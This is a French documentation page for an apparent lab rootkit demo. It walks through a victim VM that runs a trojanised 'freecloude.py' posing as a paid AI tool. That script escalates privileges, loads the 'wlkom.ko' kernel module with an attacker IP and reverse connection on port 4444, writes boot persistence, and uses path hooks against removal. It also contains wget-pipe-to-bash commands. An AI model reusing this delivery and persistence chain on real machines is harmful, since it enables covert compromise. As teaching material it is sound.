Aller au contenu principal

VM victime

La VM victime charge wlkom.ko, installe la persistance et initie la connexion reverse vers l'attaquant.

Image préconstruite

Archive finale:

Après téléchargement, utiliser la page checksums pour vérifier l'archive.

Utilisation:

mkdir -p images
tar --zstd -xf /chemin/vers/kozaci-victim.qcow2.tar.zst -C images

Le disque extrait doit ensuite être disponible sous:

images/victim.qcow2

Une fois les deux images extraites (attacker.qcow2 et victim.qcow2), lancer ./scripts/host-setup.sh depuis la racine du dépôt. Le script détecte les disques existants, prépare le réseau et lance les VMs normalement. Sur la victim le script setup-victim.sh à déjà été lancé. La VM attaquante doit être lancée avant l'attaque. Puis il suffit de télécharger et lancer le script freecloude.py depuis la page victime (http://192.168.100.1:8080/freecloude) pour déclencher l'attaque.

Une bonne pratique est de lancer le serveur de fichiers host avant de lancer les VMs pour s'assurer d'avoir les dernières versions des scripts et sources servis depuis le dépôt. Si le rootkit a changé, il faudra ensuite relancer ~/build-demo-rootkit.sh côté attaquant pour republier le .ko.

./scripts/serve-host.sh

Ce script régénère served/wlkom-src.tar.gz et sert le dossier served/. Gardez-le ouvert pendant que vous relancez le setup dans la VM concernée avec wget -qO- http://10.0.2.2:8000/setup-attacker.sh | bash ou wget -qO- http://10.0.2.2:8000/setup-victim.sh | bash, elle récupérera alors les dernières versions disponibles sur le host.

Setup initial

Dans la VM victime fraîchement installée:

wget -qO- http://10.0.2.2:8000/setup-victim.sh | bash

Le script:

  1. configure wlkom-lab en 192.168.100.2/24
  2. configure wlkom-wan en DHCP
  3. installe python3, wget, curl, firefox, xdg-utils, network-manager et les outils screenshot (gnome-screenshot, scrot, imagemagick, x11-apps)
  4. installe le noyau 5.15.0-171-generic
  5. met les paquets kernel en hold
  6. désactive les upgrades automatiques
  7. configure GRUB pour le noyau cible
  8. crée open-page.sh, install-demo-rootkit.sh et uninstall.sh
  9. crée un raccourci graphique vers la page victime.

Si le script demande un reboot:

sudo reboot
uname -r

Attendu:

5.15.0-171-generic

Fichiers créés

CheminRôle
~/open-page.shouvre la page victime
~/install-demo-rootkit.shfallback direct qui télécharge et lance freecloude.sh
~/uninstall.shsupprime persistance et fichiers installés
raccourci .desktopraccourci graphique vers la page victime
/usr/local/bin/cloude-cliCLI 8-ball installé après l'exécution de freecloude.sh

Déclenchement victime

Ouvrir:

~/open-page.sh

Ou:

http://192.168.100.1:8080/freecloude

Télécharger freecloude.py, puis:

python3 ~/Downloads/freecloude.py

Le script demande un mot de passe et une confirmation. Caractères acceptés:

A-Z a-z 0-9 . _ -

Cette restriction évite de casser la ligne options wlkom ... password=... dans modprobe.d.

Le mot de passe a deux rôles. Il sert d'abord à authentifier le dashboard, puis il sert à dériver la clé XOR du canal TCP. Il doit donc être exactement le même côté victime et côté attaquant.

Installation du module

freecloude.py réalise l'élévation de privilèges du scénario, puis télécharge et lance:

http://192.168.100.1:8080/payload/freecloude.sh

Ensuite, freecloude.sh télécharge:

http://192.168.100.1:8080/payload/rootkit-demo/wlkom.ko

Le module est d'abord stocké dans:

~/.cache/wlkom/wlkom.ko

Puis le script vérifie:

modinfo -F vermagic "$MODULE_FILE"
uname -r

Si le noyau ne correspond pas, le script s'arrête et n'installe aucune persistance.

Ensuite, il nettoie les anciennes traces partielles:

/etc/modules-load.d/wlkom.conf
/etc/modprobe.d/wlkom.conf
/lib/modules/$(uname -r)/kernel/drivers/wlkom.ko

Puis il écrit la persistance avant de charger le module. Cet ordre est nécessaire parce qu'une fois wlkom.ko actif, les hooks de chemins refusent les accès directs au module persistant dans /lib/modules/.../wlkom.ko. L'installeur évite donc de se faire bloquer par la protection qu'il vient d'activer.

Le chargement runtime se fait ensuite avec:

sudo insmod "$MODULE_FILE" attacker_ip=192.168.100.1 command_port=4444 password="$CLOUDE_PASSWORD"

Si insmod échoue, freecloude.sh supprime la persistance préparée et affiche les derniers logs kernel. On garde ainsi la protection contre les boots cassés sans écrire après l'activation du rootkit.

Le point subtil est l'ordre:

On écrit la persistance avant insmod parce que, une fois chargé, le module peut refuser les accès directs à /lib/modules/.../wlkom.ko via ses hooks de chemins.

Persistance au reboot

Fichiers installés:

/lib/modules/$(uname -r)/kernel/drivers/wlkom.ko
/etc/modules-load.d/wlkom.conf
/etc/modprobe.d/wlkom.conf

Contenu logique:

wlkom

et:

options wlkom attacker_ip=192.168.100.1 command_port=4444 password=<secret>

Au reboot:

  1. systemd-modules-load lit modules-load.d
  2. modprobe charge wlkom
  3. modprobe applique les options
  4. le module redémarre son thread réseau
  5. la connexion reverse retente 192.168.100.1:4444.

Rôle de freecloude.py

/payload/freecloude.py est le point d'entrée normal côté victime. Il utilise le payload Python prévu pour l'élévation de privilèges, obtient un contexte root, puis télécharge et lance /payload/freecloude.sh.

freecloude.sh reste l'installateur réel: c'est lui qui demande le mot de passe, vérifie le module, lance insmod et écrit la persistance.

CLI Cloude

Une fois freecloude.sh terminé, la machine victime contient aussi:

/usr/local/bin/cloude-cli

Cet utilitaire est une fausse IA locale de type 8-ball. Il sert d'artefact utilisateur visible après l'installation de Cloude Paid Edition.

Commandes utiles:

cloude-cli talk "Est-ce que la demo va marcher ?"
cloude-cli ask "Le module est-il charge ?"
cloude-cli oracle
cloude-cli answers
cloude-cli version

talk et ask renvoient une réponse aléatoire parmi les réponses intégrées. oracle lance un mode interactif, answers affiche les réponses possibles, version affiche la version du CLI, et help affiche l'aide.

Désinstallation

Dans la victime:

bash ~/uninstall.sh

Options:

bash ~/uninstall.sh --no-reboot
bash ~/uninstall.sh --kernel 5.15.0-171-generic
bash ~/uninstall.sh -y

Le script supprime:

  • /etc/modules-load.d/wlkom.conf
  • /etc/modprobe.d/wlkom.conf
  • /lib/modules/$(uname -r)/kernel/drivers/wlkom.ko
  • /opt/wlkom_data et les sorties temporaires
  • les caches ~/.cache/wlkom
  • les helpers et téléchargements liés au projet.

Le script installe aussi un service one-shot zz-lab-clean.service. Au reboot suivant, ce service démarre avant systemd-modules-load.service, donc avant que wlkom puisse se recharger. Il refait le nettoyage sur tous les arbres /lib/modules/*, lance depmod, met à jour l'initramfs, puis se désactive et se supprime lui-même.

Ce passage par reboot est le contournement propre du problème inverse: quand le module tourne déjà, ses hooks peuvent refuser la suppression du .ko persistant ou masquer certains chemins. Nettoyer très tôt au boot permet d'intervenir hors runtime rootkit.

Pour les détails de persistance côté Linux, voir Références techniques. Pour les pannes courantes, voir Troubleshooting.